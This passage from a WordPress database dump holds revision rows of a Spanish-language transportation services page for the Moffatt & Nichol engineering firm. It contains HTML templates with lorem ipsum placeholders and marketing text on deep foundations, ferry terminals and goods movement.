class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision-5','','','2012-06-15 06:00:39','2012-06-15 06:00:39','',348,'http://moffattnichol.com/spanish/348-revision-5/',0,'revision','',0),(2477,1,'2012-06-15 06:01:38','2012-06-15 06:01:38','<div class=\"content_faq\">\r\n[anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision-6','','','2012-06-15 06:01:38','2012-06-15 06:01:38','',348,'http://moffattnichol.com/spanish/348-revision-6/',0,'revision','',0),(2478,1,'2012-06-15 06:03:08','2012-06-15 06:03:08','<div class=\"content_faq\">\r\n[anything_slides cat=transportation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-revision-7','','','2012-06-15 06:03:08','2012-06-15 06:03:08','',348,'http://moffattnichol.com/spanish/348-revision-7/',0,'revision','',0),(2479,1,'2012-09-12 06:37:23','2012-09-12 06:37:23','<div class=\"content_faq\">\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\n[vslider name=\"transportation\"] \n  <div class=\"global-services_one\">\n<h3>transporte</h3>\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">cimentaciones profundas</h1>\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">terminales de transbordadores</h1>\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\n\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\n\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">movimiento de mercancías</h1>\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \n\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div 